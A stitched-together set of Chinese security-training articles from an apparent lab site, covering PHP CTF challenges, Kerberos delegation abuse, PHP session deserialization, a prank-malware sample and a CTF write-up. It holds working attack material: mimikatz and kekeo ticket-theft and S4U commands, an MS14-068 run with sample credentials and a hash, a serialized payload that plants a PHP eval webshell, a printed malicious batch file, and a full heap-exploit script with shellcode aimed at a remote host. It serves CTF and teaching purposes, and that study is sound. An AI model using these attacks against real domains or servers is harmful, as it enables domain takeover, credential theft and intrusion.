main()当然啦,这题除了可以利用__autoload魔术方法结合本地文件包含getshell,也可以用php上传文件条件竞争来做。 总结: __autoload之所以好用,首先是因为它是一个全局的魔术方法,并且开发者在使用__autoload的时候,往往是为了包含相关的文件,而在指定包含的文件名时,就可能会出现包含文件可控的情况,虽然__autoload已经在新版本的PHP中废弃,但是在对我们研究老版本的PHP项目,还是有一定指导意义的。 https://www.yijinglab.com/pages/CTFLaboratory.jsp
cover,你知道什么是延迟绑定吗
正文: 每周五固定节目又来了!今天给大家带来的是第三题<cover>,本题为PWN题型。 上一个周五是快乐假期的开始,谁能料到这一个周五竟是打工的开始。 放假归来第一天,最提神的事当然是来做道题测测脑子还在不在线。蚁景就是如此贴心地送上了新题型,前面的WEB题连续上线,这下可以让大脑换个思考方向了。 PWN在安全领域中指的是通过二进制/系统调用等方式获得目标主机的shell。CTF中主要考察二进制漏洞的发掘和利用,需要对计算机操作系统底层有一定的了解。在CTF竞赛中,PWN题目主要出现在Linux平台上,选手需要一定的C/C++编程语言、汇编/反汇编、操作系统、堆栈原理…等等基础。  本次解题主要利用栈溢出修改局部变量的值,需要先了解动态链接程序延迟绑定的机制。 在Linux中如果程序想要调用其它动态链接库的函数,必须要在程序加载的时候动态链接。在一个程序运行过程中,可能很多函数在程序执行完时都不会用到,比如一些错误处理函数或者一些用户很少用到的功能模块,所以ELF采用一种叫做延迟绑定(Lazy Binding)的做法,基本思想就是当函数第一次被调用的时候进行绑定。解题视频中有一步一步讲解exp的编写及相关知识点,过程中的软件使用也有简单介绍,快来一起开启解题之路吧!  最后,如果有技术段位高的觉得这种题比较基础追求继续深入的,还可以来实验室学习高阶的栈溢出内容:《高级栈溢出技术—ROP实战》,知识点那么多,学着学着就会废的。  我们下个周五见,国庆盼完等元旦! https://www.yijinglab.com/expc.do?w=exp_ass&ec=ECID414f-9201-4027-b8f0-c5394fc27894
kerberos委派详解
委派 域委派是指,将域内用户的权限委派给服务账号,使得服务账号能以用户权限开展域内活动。 服务账号(Service Account),域内用户的一种类型,服务器运行服务时所用的账号,将服务运行起来并加入域。例如MSSQL Server在安装时, 会在域内自动注册服务账号'SqlServiceAccount',这类账号不能用于交互式登录。 上图是经典的应用场景。一个域内普通用户jack通过Kerberos协议认证到前台WEB服后,前台运行WEB服务的服务账号websvc模拟(Impersonate)用户jack,以Kerberos协议继续认证到后台服务器,从而在后台服务器中获取jack用户的访问权限,即域中跳或者多跳的Kerberos认证。按照图中红色字体的数字,具体步骤如下: 1. 域内用户jack以Kerberos方式认证后访问Web服务器; 2. Web服务以websvc服务账号运行,websvc向KDC发起jack用户的票据申请; 3. KDC检查websvc用户的委派属性,如果被设置,则返回jack用户的可转发票据TGT; 4. websvc收到jack用户TGT后,使用该票据向KDC申请访问文件服务器的服务票据TGS; 5. KDC检查websvc的委派属性,如果被设置,且申请的文件服务在允许的列表清单中,则返回一个jack用户访问文件服务的授权票据TGS; 6. websvc收到的jack用户的授权票据TGS后,可访问文件服务,完成多跳认证。在域中,只有 服务账号 和 主机账号 才具有委派属性 主机账号就是AD活动目录中 Computers 中的计算机,也可以称为机器账号(一个普通域用户默认最多可以创建十个主机账号)。服务账号(Service Account)是域内用户的一种类型,是服务器运行服务时所用的账号,将服务运行起来并加入域。例如SQL Server 在安装时,会在域内自动注册服务账号 SQLServiceAccount。也可以将域用户通过注册SPN变为服务账号。 委派的前提 需要被委派的用户未设置不允许被委派属性,这里如果打勾则Administrator用户不能够被委派 非约束性委派 对于非约束性委派,服务账号可以获取被委派用户的 TGT ,并将 TGT 缓存到 LSASS 进程中,从而服务账号可使用该 TGT ,模拟用户访问任意服务。 当服务账号或者主机被设置为非约束性委派时,其 userAccountControl 属性会包含 WORKSTATION_TRUSTED_FOR_DELEGATION 从网络攻击的角度看,如果攻击者控制了服务账号B,并诱骗管理员来访问服务A,则可以获取管理员的TGT,进而模拟管理员访问任意服务,即获得管理员权限。越是大型网络、应用越多的网络,服务账号越多,委派的应用越多,越容易获取域管理员权限。 约束性委派 由于非约束委派的不安全性,微软在Windows Server 2003中发布了约束性委派。对于约束性委派(Constrained Delegation),即Kerberos的两个扩展子协议 S4u2self (Service for User to Self) 和 S4u2Proxy (Service for User to Proxy),服务账号只能获取用户的TGS,从而只能模拟用户访问特定的服务。 配置了约束委派的账户的 userAccountControl 属性有个FLAG位 TRUSTED_TO_AUTH_FOR_DELEGATION,并且msDS-AllowedToDelegateTo 属性,还会指定对哪个SPN进行委派。 基于资源的约束性委派 为了使用户/资源更加独立,微软在Windows Server 2012中引入了基于资源的约束性委派。基于资源的约束委派不需要域管理员权限去设置,而把设置属性的权限赋予给了机器自身。基于资源的约束性委派允许资源配置受信任的帐户委派给他们。基于资源的约束委派只能在运行WindowsServer2012和Windows Server 2012R2及以上的域控制器上配置,但可以在混合模式林中应用。配置了基于资源的约束委派的账户的userAccountControl属性为 WORKSTATION_TRUST_ACCOUNT,并且msDS-AllowedToActOnBehalfOfOtherIdenti 基于资源的约束性委派和约束性委派差别 委派的权限授予给了拥有资源的后端(B),而不再是前端(A) 约束性委派不能跨域进行委派,基于资源的约束性委派可以跨域和林 不再需要域管理员权限设置委派,只需拥有在计算机对象上编辑”msDS-AllowedToActOnBehalfOfOtherIdentity”属性的权限,也就是将计算机加入域的域用户 和 机器自身 拥有权限。 传统的约束委派是“正向的”,通过修改服务A的属性”msDS-AllowedToDelegateTo”,添加服务B的SPN(Service Principle Name),设置约束委派对象(服务B),服务A便可以模拟用户向域控制器请求访问服务B的ST服务票据。 而基于资源的约束委派则是相反的,通过修改服务B属性”msDS-AllowedToActOnBehalfOfOtherIdentity”,添加服务A的SID,达到让服务A模拟用户访问B资源的目的。 非约束委派和约束委派的流程 非约束委派流程 前提:在机器账号B上配置了非约束性委派(域管理员才有权限配置) 1.用户访问机器B的某个服务,于是向KDC认证。KDC会检查机器B的机器账号的属性,发现是非约束性委派,KDC会将用户的TGT放在ST服务票据中。 2.用户访问机器B时,TGT票据会和ST服务票据一同发送给机器B 3.这样B在验证ST服务票据的同时获取了用户的TGT,并将TGT存储在LSASS进程中,从而可以模拟用户访问任意服务。 从网络攻击的角度来看,如果攻击者控制了机器B的机器账号,并且机器B配置了非约束性委派。则攻击者可以诱骗管理员来访问机器B,然后攻击者可以获取管理员的TGT,从而模拟管理员访问任意服务,即获得了管理员权限。 约束性委派流程 前提:在服务A上配置到服务B约束性委派(域管理员才有权限配置) 1.用户访问服务A,于是向域控进行kerberos认证,域控返回ST1服务票据给用户,用户使用此服务票据访问服务A 2.若该服务A允许委派给服务B,则A能使用S4U2Proxy协议将用户发送给自己的可转发的ST1服务票据以用户的身份再转发给域控制器。于是域控返回给服务A一个ST2服务票据。 3.服务A便能使用获得的ST2服务票据以用户的身份访问服务B。 从网络攻击的角度来看,如果攻击者控制了服务A的账号,并且服务A配置了到域控的CIFS服务的约束性委派。则攻击者可以利用服务A以administrator身份访问域控的CIFS服务,即相当于控制了域控。 筛选非委派属性的账号 注:域控主机账户默认开启非约束委派 PowerSploit下的PowerView.ps1脚本 Import-Module .\\PowerView.ps1;查询域中配置非约束委派的账户 Get-NetUser -Unconstrained -Domain Drunkmars.com Get-NetUser -Unconstrained -Domain Drunkmars.com \| select name查询域中配置非约束委派的主机: Get-NetComputer -Unconstrained -Domain Drunkmars.com \| select name ADFind 使用参数 AdFind [switches] [-b basedn] [-f filter] [attr list] 参数说明: -b:指定要查询的根节点 -f:LDAP过滤条件 attr list:需要显示的属性 查找域中配置非约束委派的用户: AdFind.exe -b "DC=0day,DC=org" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cndistinguishedName查找域中配置非约束委派的主机: AdFind.exe -b "DC=0day,DC=org" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cndistinguishedName ldapsearch kali自带,可以在域外使用 查找域中配置非约束委派的用户 ldapsearch -x -H ldap://192.168.200.143:389 -D "CN=administrator,CN=Users,DC=0day,DC=org" -w admin\!\@\45 -b"DC=0day,DC=org""(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName"查找域中配置非约束委派的主机 powershell ldapsearch -x -H ldap://192.168.200.146:389 -D "CN=administrator,CN=Users,DC=0day,DC=org" -w admin\!\@\45 -b"DC=0day,DC=org" "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" | grep -iE "distinguishedName" 查询某用户是否具有委派性 Import-Module .\\powerview.ps1; Get-DomainUser 域用户名 -Properties useraccountcontrol,msds-allowedtodelegateto| fl当该账号没委派属性时,查询不出任何信息 当服务账号被设置为 非约束性委派 时,其 userAccountControl 属性会包含为 TRUSTED_FOR_DELEGATION 当被设置为 约束性委派 时,其 userAccountControl 属性包含 TRUSTED_TO_AUTH_FOR_DELEGATIONhttps://msdn.microsoft.com/en-us/library/aa772300%28v=vs.85%29.aspx 且msds-allowedtodelegateto 属性会被设置为哪些 SPN。 非约束委派攻击 非约束委派:当user访问service1时,如果service1的服务账号开启了 unconstrained delegation (非约束委派),则当 user 访问 service1时会将user的 TGT 发送给 service1 并保存在内存中以备下次重用,然后 service1 就可以利用这张 TGT 以user的身份去访问域内的任何服务(任何服务是指user能访问的服务)了 操作环境: 域:Drunkmars.com 域控:windows server 2012R2,主机名:WIN-M836NN6NU8B,IP: 192.168.10.5 域管账户:sqladmin 域内主机:windows7,主机名:MESSI-PC,IP:192.168.10.7,用户:mars2(普通域用户) 注:在Windows系统中,只有服务账号和主机账号的属性才有委派功能,普通用户默认是没有的 查找非约束委派主机帐号 Import-Module .\\powerview.ps1; Get-NetComputer -Unconstrained -Domain Drunkmars.com \| select name 导出票据 先访问DC,可以看到访问失败 用任意域管帐号访问win7(这里域管帐号登录在任意一台机器都可以) 此时,在主机win8的lsass.exe内存中就会有域用户sqladmin的TGT票据 我们在win8上以管理员权限运行mimikatz,执行以下命令 privilege::debug导出票据 sekurlsa::tickets /export 注入票据 用 mimikatz 将这个票据导入内存中,然后访问域控 导入票据 kerberos::ptt [0;33f6ebf]-2-0-60a00000-sqladmin@krbtgt-0DAY.ORG.kirbi查看票据 kerberos::list 访问域控 约束性委派攻击 操作环境: 域:0day.org 域内主机: windows 7 ,主机名:PC-jack-0day,IP:192.168.3.62,用户:jack 域控:OWA2010SP3 我们设置了机器用户PC-jack-0day对OWA2010SP3的 cifs 服务的委派 查找约束性委派的主机账号 请求用户TGT 已经知道服务用户明文的条件下,我们可以用kekeo请求该用户的TGT tgt::ask /user:PC-JACK-0DAY /domain:0day.org /password:password /ticket:test.kirbi参数: /user : 服务用户的用户名 /password : 服务用户的明文密码 /domain : 所在域名 /ticket : 指定票据名称,不过这个参数没有生效,可以忽略 kekeo同样也支持使用 NTLM Hash 在请求服务用户的TGT那步直接把 /password 改成 /NTLM 即可 这里我们知道PC-JACK-0DAY的ntlm hash为:768623e06fae601be0c04759c87d93d3 执行如下命令 tgt::ask /user:PC-JACK-0DAY /domain:0day.org /NTLM:768623e06fae601be0c04759c87d93d3 /ticket:test.kirbi 得到mailto:TGT_PC-JACK-0DAY@0DAY.ORG_krbtgt~mailto:0day.org@0DAY.ORG.kirbi 获取ST 然后我们可以使用这张TGT通过伪造s4u请求以 administrator 用户身份请求访问 OWA2010SP3 CIFS 的ST tgs::s4u /tgt:TGT_PC-JACK-0DAY@0DAY.ORG_krbtgt\~0day.org@0DAY.ORG.kirbi /user:Administrator@0day.org /service:cifs/OWA2010SP3.0day.org S4U2Self 获取到的ST1以及 S4U2Proxy 获取到的OWA2010SP3 CIFS服务的ST2会保存在当前目录下 注入ST2 然后我们用mimikatz将ST2导入当前会话即可 kerberos::ptt TGS_Administrator@0day.org@0DAY.ORG_cifs\~OWA2010SP3.0day.org@0DAY.ORG.kirbi 访问域控 不知道服务用户密码的情况 如果我们不知道服务用户的明文和NTLM Hash,但是我们有了服务用户登陆的主机权限(需要本地管理员权限),我们可以用 mimikatz 直接从内存中把服务用户的TGT dump出来 mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit 注: sekurlsa::tickets 是列出和导出所有会话的 Kerberos 票据, sekurlsa::tickets 和 kerberos::list不同,sekurlsa是从内存读取,也就是从lsass进程读取,这也就是为什么sekurlsa::tickets /export 需要管理员权限的原因。并且 sekurlsa::tickets的导出不受密钥限制,sekurlsa可以访问其他会话(用户)的票证。 既然服务用户的TGT导出来了,我们就跳过 tgt::ask 请求TGT这步,直接 tgs::s4u tgs::s4u /tgt:[0;3e7]-2-1-40e00000-PC-JACK-0DAY\$@krbtgt-0DAY.ORG.kirbi /user:Administrator@0day.org /service:cifs/OWA2010SP3.0day.org kerberos::ptt TGS_Administrator@0day.org@0DAY.ORG_cifs\~OWA2010SP3.0day.org@0DAY.ORG.kirbi 抓包分析约束性委派攻击过程 这里可以看到有6个请求 AS-REQ 可以看到用户PC-JACK-0DAY用户向KDC请求一张TGT AS-REP 返回一张TGT,这张TGT代表的就是PC-JACK-0DAY这个用户 第一次的TGS-REQ和TGS-REP 用这张 TGT 发送 S4U2self 请求,以 Administrator 的名义向 TGS 申请了一张访问自身服务的票据,ST1 第二次的TGS-REQ和TGS-REP 得到 ST1 之后,然后会带上ST1再次向 KDC 发起 SU42Proxy 请求,以 administrator 的名义请求一张访问 OWA2010SP3 cifs 服务的票据,ST2 利用约束性委派进行权限维持 我们都知道TGT的生成是由 krbtgt 用户加密和签名的,如果我们能委派域上的用户去访问TGS ,那么就可以伪造任意用户的TGT了,黄金票据通常情况下我们是用 krbtgt的hash来伪造TGT,不过我们通过约束委派也能达到同样的效果。 注: TGS 默认的spn是 krbtgt/domain name ,我们操作环境是 krbtgt/QIYOU.COM krbtgt 默认是禁用的而且无法启用,所以我们无法使用界面来添加这个SPN。 我们可以使用powershell来添加 Import-Module ActiveDirectory $user = Get-ADUser test -Properties "msDS-AllowedToDelegateTo" Set-ADObject $user -Add @{ "msDS-AllowedToDelegateTo" = @("krbtgt/0day.org") }我们控制的用户选择的是自己创建的 test 域用户。密码Yicunyiye123 域控:OWA2010SP3 192.168.200.146 域:0day.org 攻击机:Kali 首先修改 kali 的/etc/hosts/文件,添加如下内容 192.168.200.146 0day.org 192.168.200.146 OWA2010SP3 创建域用户test然后赋予SPN 然后在域控上配置test用户到krbtgt用户的约束性委派 Import-Module ActiveDirectory $user = Get-ADUser test -Properties "msDS-AllowedToDelegateTo" Set-ADObject $user -Add @{ "msDS-AllowedToDelegateTo" = @("krbtgt/0day.org") } 可以看到test账户具有委派性 然后在kali上攻击 域委派的防御措施 因为委派比较实用我们也不能说直接简单粗暴关闭该功能 1.高权限用户可以设置不能被委派 可以看到administrator是无法成功的,但是sqladmin可以 2.Windows 2012R2及更高的系统建立了受保护的用户组,组内用户不允许被委派,这是有效的手段。受保护的用户组,当这个组内的用户登录时(windows2012 R2域服务器,客户端必须为Windows 8.1或之上),不能使用NTLM认证;适用于Windows Server 2016 , Windows Server 2012 R2 、 Windows Server 2012 3.一般TGT 4小时后失效 4.Kerberos预认证时不使用DES或者RC4等加密算法 PAC 原理分析:https://www.anquanke.com/post/id/192810#h2-1 kerberos的流程: 1.用户向KDC发起AS_REQ,请求凭据是用户hash加密的时间戳,KDC使用用户hash进行解密,如果结果正确返回用krbtgthash加密的TGT票据 2.用户凭借TGT票据向KDC发起针对特定服务的TGS_REQ请求,KDC使用krbtgthash进行解密,如果结果正确,就返回用服务hash 加密的TGS票据 3.用户拿着TGS票据去请求服务,服务使用自己的hash解密TGS票据。如果解密正确,就允许用户访问。 上面这个流程看起来没错,却忽略一个最重要的因素,那就是用户有没有权限访问该服务,在上面的流程里面,只要用户的hash正确,那么就可以拿到TGT,有了TGT,就可以拿到TGS,有了TGS,就可以访问服务,任何一个用户都可以访问任何服务。也就是说上面的流程解决了”Who am i?”的问题,并没有解决 “What can I do?”的问题。 在Kerberos最初设计的流程里说明了如何证明客户端的真实身份,但是并没有说明客户端是否有权限访问该服务,因为在域中不同权限的用户能够访问的资源是不同的。所以微软为了解决权限这个问题,引入了 PAC (Privilege Attribute Certificate,特权属性证书) 的概念。 MS14-068 MS14-068编号CVE-2014-6324,补丁为3011780,如果自检可在域控制器上使用命令检测。systeminfo |find "3011780" 为 空说明该服务器存在MS14-068漏洞 环境: 域机器:MESSI-PC,win7,知道一个域用户和密码:mars2\Drunkmars,Fcb0519..,拥有该机器的管理员权限 域控:WIN-M836NN6NU8B,ip:192.168.10.5 生成票据 MS14-068.exe -u mars2@Drunkmars.com -p Fcb0519.. -s S-1-5-21-652679085-3170934373-4288938398-1107 -d 192.168.10.5 可以看到已经生成了mailto:TGT_mars2@Drunkmars.com.ccache mimikatz导入票据 kerberos::ptc 票据路径 访问域控
一篇文章弄懂session的两种存储方式
PHP中session有哪些存储方式? 根据官方文档我们可以看到,一共有三种存储方式:PHP序列化格式、PHP内部格式以及WDDX。 如果不使用ini_set设置相关session存储方式,在默认情况下就使用php,也就是php内部格式。 本篇文章仅讨论PHP序列化格式以及php默认处理器这两种存储方式,不探讨WDDX的存储方式。 还有一种是php_binary的格式,本文也不做探讨,这里就列出在不同模式下的存储方式。 php默认处理器与php序列化存储方式有哪些差异? php默认处理器 首先我们使用php默认处理器,初始化session,并给session赋值,实验代码如下: <?php //ini_set("session.serialize_handler","php"); session_start(); $_SESSION['tt'] = "Lxxx"; 访问该网页后我们可以看到以下内容: 这里的信息量有点大,我们逐个分析: 首先访问该网页后,在Cookie中会新建一个值,键名为PHPSESSID,键值为一串随机的字符串,其中键名是由session.name决定的,如果不设置,默认为PHPSESSID 新建了一个session之后,服务器会将会话信息存储在tmp目录中,文件名为PHPSESSID_<value>,其中value的值即为浏览器中PHPSESSID的值 在这个文件中,会将session信息分为两部分存储,一个是服务器代码中设置session的键名,另一个为session的键值,中间用竖线|隔开 php序列化处理器 同样的,我们还是用上方的代码,不过将session存储的方式修改为php序列化,代码如下: <?php ini_set("session.serialize_handler","php_serialize"); session_start(); $_SESSION['tt'] = "Lxxx"; 得到的结果如下: 可以看到,与php默认处理器唯一不同点就在于:存储的内容变为了序列化之后的结果。 那么如果将这两个处理器结合起来,会产生什么安全问题呢? session存储中可能产生的安全问题: 由于PHP默认情况下使用的session存储方式为PHP默认处理器,即存储的内容用竖线|进行分割,那么开发者在开发的时候,如果没有统一好存储的方式,比如在某个页面中使用PHP默认处理器操作session,但是在其他页面用PHP序列化操作session,如果在这个过程中有数据的交换,就很有可能存在反序列化注入问题。 光说可能有些抽象,接下来使用一道CTF赛题来阐述session存储中可能存在的安全问题。 用一道CTF题阐述session的安全问题: 首先呢,打开题目: 乍一眼看是登录页面,可能是SQL注入有关,但是经过我们扫描后,存在http://www.zip源代码泄露。在http://www.zip中存在以下文件: 相关代码如下:(有些做了省略) index.php <?php if(isset($_SESSION['limit'])){ $_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']); $_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1); }else{ setcookie("limit",base64_encode('1')); $_SESSION['limit']= 1; } ?> inc.php <?php ini_set('session.serialize_handler', 'php'); class User{    public $username;    public $password;    public $status;    function __construct($username,$password){        $this->username = $username;        $this->password = $password;   }    function setStatus($s){        $this->status=$s;   }    function __destruct(){        file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));   } } check.php <?php require_once 'inc/inc.php'; $GET = array("u"=>$_GET['u'],"pass"=>$_GET['pass']); if($GET){ $data= $db->get('admin', [ 'id', 'UserName0' ],[ "AND"=>[ "UserName0[=]"=>$GET['u'], "PassWord1[=]"=>$GET['pass'] //密码必须为128位大小写字母+数字+特殊符号,防止爆破 ] ]); if($data['id']){ //登陆成功取消次数累计 $_SESSION['limit']= 0; echo json_encode(array("success","msg"=>"欢迎您".$data['UserName0'])); }else{ //登陆失败累计次数加1 $_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit'])+1); echo json_encode(array("error","msg"=>"登陆失败")); } } 这一道题,经过初步审计之后,我们可以发现三个比较重要的地方: 首先在index.php代码中,有以下代码 $_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']); 这一行代码看上去有登录失败次数的限制,但是由于题目中limit打成了limti,所以,实际上这一行代码并不影响我们做题。 在inc.php中,存在以下代码: ini_set('session.serialize_handler', 'php'); 前面我们提到,默认的PHP对于session的处理方式就是php,但是这里又通过ini_set来设置处理方式是php,由此我们可以大胆假设,这题的环境,默认的session处理方式为php序列化 同样还是在inc.php页面中,有以下代码: function __destruct(){    file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s')); } 在这一个地方,存在一个文件写入的漏洞,其中文件名以及写入的内容都可控。 经过初步审计之后,我们可以尝试使用将User类序列化后的字符写入limit中,当其他页面调用limit的时候,使用的是php序列化的处理器,这时候php就会对User类进行反序列化,最终写入我们的shell 所以我们构造一个User类,写入相关的shell,并且序列化之后添加一个竖线|,最后进行base64编码。 这里需要添加竖线|的原因是,在inc.php页面中使用了PHP的处理器,而在其他地方使用“默认”的PHP序列化处理器。 构造对象如下: <?php class User{    public $username = "1.php";    public $password = '<?php eval($_POST["a"]);?>'; } $a = new User(); echo base64_encode("|".serialize($a));; ?> 得到结果: fE86NDoiVXNlciI6Mjp7czo4OiJ1c2VybmFtZSI7czo1OiIxLnBocCI7czo4OiJwYXNzd29yZCI7czoyNjoiPD9waHAgZXZhbCgkX1BPU1RbImEiXSk7Pz4iO30= 首先访问index.php建立会话,然后将这一串传入cookie中的limit 再带参数访问check.php check.php?u=123&pass=456 访问之后,就会在目录下生成log-1.php的后门文件,连接密码为a,即可成功getshell。 https://www.yijinglab.com/cour.do?w=1&c=CCID2d0a-0673-40fe-8ac6-bd3c08e8179f
一款专门针对高质量女性的易语言钓鱼样本简单分析
由于一直没怎么分析过易语言的样本,想学习一下易语言的样本分析过程,正好最近碰见了一个易语言编写的样本,是一个专门针对人类高质量女性进行钓鱼的样本,正好拿来学习学习,笔者是一边学习一边分析,如有不对之处还望各位批评指正。 该样本图标如下: https://www.yijinglab.com/cour.do?w=1&c=CCID039e-e54e-46fb-b0f2-609db99a3ee2好像和前段时间流行的某人类高质量男性留着一样的发型?查看详细信息发现文件说明处还专门指出“高质量女性请运行”: 易语言的特点 要分析清楚易语言,首先得大概了解一下易语言程序怎么开发,怎么编译,易语言是一款中文编程语言,它通过封装一些支持库来拓展自身的功能。如下是一个demo: 易语言有两种主要的编译方式: 独立编译:是指易语言编译时,程序和易语言的支持库打包在一个exe文件中。程序可以脱离易语言环境使用。 非独立编译:是指易语言编译时,单独编译exe文件,这样生成的文件体积小。必须带上支持库才能使用程序。 如果依赖库不存在将会弹出报错窗口: 样本静态分析 那么有了上述知识,我们就可以判断这个样本是哪种编译方式了,拖入Ida首先发现样本会在Temp临时目录创建以E_N开头的文件夹,并释放一些后缀名为.fnr和.fne的PE文件。 调用LoadLibrary和GetProcessAddress函数,加载支持库文件,获取GetNewSock的函数地址: 然后发现后面会调用call eax和MessageBox: 这些都是易语言加载支持库的一些特征,该样本使用的是独立编译,接下来我们直接进行动态分析。 样本动态分析 我们使用火绒剑结合OD进行动态调试分析,对一些关键的API下断点,如CreateFileA,MessageBoxA,CreateProcessA,CreateWindowExA等,于是我们就可以发现除了krnln.fnr还释放了其他的支持库文件: 其中eAPI.fne是应用接口支持库,iext.fne是拓展界面支持库,krnln.fnr是系统核心支持库,shell.fne是操作系统界面功能支持库,spec.fne是特殊功能支持库,mp3.run、com.run、wmp.dll对应的是Windows媒体播放器支持库。看来这个样本可能会播放音频或者视频。继续运行发现: 同时还释放并运行一个bat文件: dc.bat内容为: @echo off cd c:\users\%username%\desktop\ for /L %%X IN (1,1,999) DO type nul>人类高质量男性%%X.txt doskey regedit=regedit. doskey gpedit.msc= gpedit.Msc. doskey gpedit= gpedit.Msc. doskey net=net. doskey mmc = mmc. doskey mmc.exe = mmc. doskey assoc=assoc. doskey ftype=ftype. doskey del = del. doskey delete = del. doskey RD = rd. 运行后桌面会出现999个txt文件: 同时,temp目录下还释放了如下文件: 然后出现如下类似微信电话的窗口: 当点击接听的时候便会播放音频和视频: 对于窗口所触发的行为我们可以使用OD的窗口界面: 在按钮处设置消息断点,当发生对应的事件时即可断在消息处理函数处。 然后便退出了。 其中当点击拒接微信电话时,便会出现恶搞现象,电脑屏幕出现“分块”现象,同时播放wallpaper.mp4: 还会像熊猫烧香一样将所有的exe文件图标全部修改: 这些功能主要是由释放出的FZ%.exe实现的,感兴趣的可以找我索要样本,继续分析一下,但一定要在虚拟机下运行,提前做好快照备份。
长城杯线上赛WP (团队解题思路)
本文为goodcat战队参赛wp,非官方出品 目录 https://www.yijinglab.com/pages/CTFLaboratory.jspPwn 1、 K1ng_in_h3Ap_II libc2.27-0ubuntu1.4,存在明显的UAF; tcahce double free 控制tcache struct,将counts[]数组全部填满后, 将其释放到unsortedbin可泄露libc; 之后再次double free 将free_hook改为setcontext,布置好orw,之后读出flag。 from pwn import* context.log_level = "debug" context.os = "linux" context.arch = "amd64" context.terminal = ['tmux', 'splitw', '-h'] #r = process("./pwn2") r = remote("47.104.175.110", 61608) libc = ELF("./libc.so.6") def allocate(index, size):    r.sendlineafter(">> \n", "1")    r.sendlineafter("input index:\n", str(index))    r.sendlineafter("input size:\n", str(size)) def delete(index):    r.sendlineafter(">> \n", "2")    r.sendlineafter("input index:\n", str(index)) def edit(index, content):    r.sendlineafter(">> \n", "3")    r.sendlineafter("input index:\n", str(index))    r.sendafter("input context:\n", content) def show(index):    r.sendlineafter(">> \n", "4")    r.sendlineafter("input index:\n", str(index)) for i in range(8):    allocate(0, 0x10) allocate(0, 0x40) for i in range(7):    allocate(0, 0x60) allocate(0, 0x60) delete(0) edit(0, 'a' * 0x10) delete(0) show(0) heap_addr = u64(r.recv(6) + '\x00\x00') & 0xfffffffffffff000 print "heap_addr = " + hex(heap_addr) edit(0, p64(heap_addr+0x10)) allocate(0, 0x60) allocate(0, 0x60) edit(0, 'a' * 64) delete(0) show(0) malloc_hook = (u64(r.recvuntil('\x7f')[-6:].ljust(8, "\x00")) & 0xFFFFFFFFFFFFF000) + (libc.sym['__malloc_hook'] & 0xFFF) libc_base = malloc_hook - libc.sym['__malloc_hook'] free_hook = libc_base + libc.sym["__free_hook"] set_context = libc_base + libc.symbols['setcontext'] mprotect = libc_base + libc.sym['mprotect'] print "libc_base = " + hex(libc_base) print "mprotect = " + hex(mprotect) allocate(0, 0x58) edit(0, '\x00' * 0x58) allocate(1, 0x38) delete(1) edit(1, p64(free_hook)) allocate(1, 0x38) allocate(1, 0x38) allocate(2, 0x30) allocate(2, 0x30) allocate(2, 0x30) allocate(2, 0x30) allocate(3, 0x10) allocate(4, 0x30) allocate(5, 0x30) new_addr =  free_hook &0xFFFFFFFFFFFFF000 shellcode1 = ''' xor rdi,rdi mov rsi,%d mov edx,0x1000 mov eax,0 syscall jmp rsi ''' % new_addr edit(1, p64(set_context+53) + p64(free_hook+0x10) + asm(shellcode1)) edit(4, p64(0) + p64(new_addr) + p64(0x1000) + p64(0) + p64(0) + p64(7)) edit(5, p64(free_hook + 0x8) + p64(mprotect)) delete(2) sleep(0.5) shellcode2 = ''' mov rax, 0x67616c662f ;// /flag push rax mov rdi, rsp ;// /flag mov rsi, 0 ;// O_RDONLY xor rdx, rdx ; mov rax, 2 ;// SYS_open syscall mov rdi, rax ;// fd mov rsi,rsp ; mov rdx, 1024 ;// nbytes mov rax,0 ;// SYS_read syscall mov rdi, 1 ;// fd mov rsi, rsp ;// buf mov rdx, rax ;// count mov rax, 1 ;// SYS_write syscall mov rdi, 0 ;// error_code mov rax, 60 syscall ''' r.sendline(asm(shellcode2)) r.interactive() Re 1、 Just_cmp-re | Solved | working: find the cmp str. buu原题 hook原文 将原文转成qword 与加密key相加得到flag flag{a14a424005b14e2b89ed45031ea791b9} 2、 Funny_js 根据题目名称,发现是一道js框架的题目 提取js字节码如下: 0x02, 0x1B, 0x06, 0x72, 0x63, 0x34, 0x04, 0x73, 0x6E, 0x02, 0x69, 0x02, 0x6A, 0x02, 0x6B, 0x02, 0x6C, 0x02, 0x6D, 0x02, 0x6E, 0x04, 0x75, 0x6E, 0x06, 0x61, 0x72, 0x72, 0x0C, 0x63, 0x69, 0x70, 0x68, 0x65, 0x72, 0x2A, 0x32, 0x30, 0x32, 0x31, 0x71, 0x75, 0x69, 0x63, 0x6B, 0x6A, 0x73, 0x5F, 0x68, 0x61, 参考了这一篇博客 对 quickjs.c 进行 patch: 得到字节码如下,对dump出来的字节码进行分析,提取出密文 [150, 224, 244, 68, 61, 125, 8, 239, 203, 254, 241, 113, 213, 176, 6 4, 106, 103, 166, 185, 159, 158, 172, 9, 213, 239, 12, 100, 185, 90, 174, 1 07, 131, 223, 122, 229, 157] 再提取出加密过程如下: RC4_KEY="2021quickjs_happygame" push_i16 150 push_i16 224 push_i16 244 push_i8 68 push_i8 61 push_i8 125 push_i8 8 push_i16 239 push_i16 203 push_i16 254 push_i16 241 push_i8 113 push_i16 213 push_i16 176 push_i8 64 push_i8 106 push_i8 103 push_i16 166 push_i16 185 push_i16 159 push_i16 158 push_i16 172 push_i8 9 push_i16 213 push_i16 239 push_i8 12 push_i8 100 push_i16 185 push_i8 90 push_i16 174 push_i8 107 push_i16 131 array_from 32 push_i16 223 define_field "32" push_i8 122 define_field "33" push_i16 229 define_field "34" push_i16 157 43 define_field "35" 加密过程就是一个异或(56-17)外加rc4(key为2021quickjs_happygameH) 解密得到flag为flag{2021_9u1ck_1s_v3r7_1nT3r3st1n9} Misc 